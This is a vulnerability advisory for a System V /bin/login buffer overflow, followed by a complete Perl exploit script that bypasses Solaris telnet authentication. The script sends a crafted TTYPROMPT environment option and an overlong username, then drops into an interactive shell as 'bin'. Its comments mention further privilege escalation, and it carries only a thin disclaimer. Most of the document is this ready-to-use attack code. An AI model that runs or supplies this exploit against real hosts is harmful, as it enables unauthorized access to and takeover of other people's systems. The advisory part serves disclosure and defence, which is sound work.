source: http://www.securityfocus.com/bid/3681/info

The 'login' program is used in UNIX systems to authenticate users with a username and password. The utility is typically invoked at the console, by 'telnetd', 'rlogind', and if configured to do so, SSH.

Versions of 'login' descended from System V UNIX contain a buffer overflow when handling environment variables. Several operating systems such as Solaris/SunOS, HP-UX, AIX, IRIX, and Unixware contain vulnerable versions of 'login'.

Unauthenticated clients can exploit this issue to execute arbitrary code as root. On systems where 'login' is installed setuid root, local attackers can elevate privileges. 

#!/usr/bin/perl
#
#  Date: 09/01/2003
#  Author: snooq [http://www.angelfire.com/linux/snooq/]
#
#  I coded this script to demo how to login to a Solaris box without
#  password as 'bin'. Nothing new, it's an old bug which dates back 
#  to Dec 2001.
# 
#  And, there are already several versions of exploits circulating 
#  in the wild for at least a year now. 
#  
#  Due to uninformed/incompetent/ignorant sysadmins, there are still 
#  quite a number of vulnerable machines out there.
#  
#  'root' remote login is not allowed by defaut. So, unless, it's
#  a misconfigured box, you can only go as high as 'bin'. However,
#  once you are dropped into a shell, further priviledge escalation is
#  very possible.
#
#  Background info
#  ===============
#  From http://www.mail-archive.com/bugtraq@securityfocus.com/msg09281.html
#
#  [quote]
#  The problem is there exists an authentication flag called the "fflag" 
#  just after the array that gets overflowed in the .bss segment. This is
#  an array of char pointers so when it is overflowed because of an
#  mismanagement on the indexing of this array the fflag gets overwritten
#  with an valid address on .bss segment. this is good enough to satify 
#  the if(fflag) condition and spawn a shell.
#  [/quote]
#
#  For more info about this bug, go to:
#  http://www.cert.org/advisories/CA-2001-34.html
#
#  Disclaimer
#  ==========
#  This is meant for you to do a quick check own your systems only.
#  The author shall not be held responsible for any illegal use 
#  of this code. 
#
#  -> some asked 'why code another one?' 
#  I'm bored.. I guess.... been using other ppl's tools... it's time 
#  to write my own.. so that I have a reason to feel proud too... 
#  
#  -> again, some asked 'why not in C?'
#  ok... I'm lame.. my C sucks... my Perl sucks too...
#  I'm not a professional programmer anyway... =p
#
#  As usual, any comments or flames, go to jinyean at hotmail.com
#
use Socket;
use FileHandle;

if ($ARGV[0] eq '') {
	print "Usage: $0 <host>\n";
	exit;
}

$payload="\xff\xfc\x18"		# Won't terminal type
	."\xff\xfc\x1f"		# Won't negotiate window size
	."\xff\xfc\x21"		# Won't remote flow control
	."\xff\xfc\x23"		# Won't	X display location
	."\xff\xfb\x22"		# Will linemode	
	."\xff\xfc\x24"		# Won't environment option
	."\xff\xfb\x27"		# Will new environment option	
	."\xff\xfb\x00"		# Will binary transmission
	."\xff\xfa\x27\x00"	# My new environ option
	."\x00\x54\x54\x59\x50\x52\x4f\x4d\x50\x54"	# 'TTYPROMPT'
	."\x01\x61\x62\x63\x64\x65\x66"			# 'abcdef', any 6 chars will do
	."\xff\xf0";		# Suboption end
$port=23;
$user="bin";			# You may change this to another user
$addr=getaddr($ARGV[0]);

for ($i;$i<65;$i++) {
	$user.=" c";		# Again, any char will do
}

socket(SOCKET,PF_INET,SOCK_STREAM,(getprotobyname('tcp'))[2]);
connect(SOCKET,pack('Sna4x8',AF_INET,$port,$addr,2)) || die "Can't connect: $!\n";

print "/bin/login array mismanagment exploit by snooq (jinyean\@hotmail.com)\n";
print "Connected. Wait for a shell....\n";

SOCKET->autoflush();

$pid=fork;

if ($pid) {			# Parent reads	
	send(SOCKET, $payload, 0);
	send(SOCKET, "$user\n", 0);
	read(SOCKET,$buff,69);	# Read the garbage
	while (<SOCKET>) {;
       		print STDOUT $_;
    	}
}
else {				# Child sends
	print SOCKET while (<STDIN>);
	close SOCKET;
}
exit;

sub getaddr {

	my $host=($_[0]);
	my $n=$host;
	$n=~tr/\.//d;

	if ($n=~m/\d+/) {
		return pack('C4',split('\.',$host));
	}
	else {
		return (gethostbyname($host))[4];
	}
}
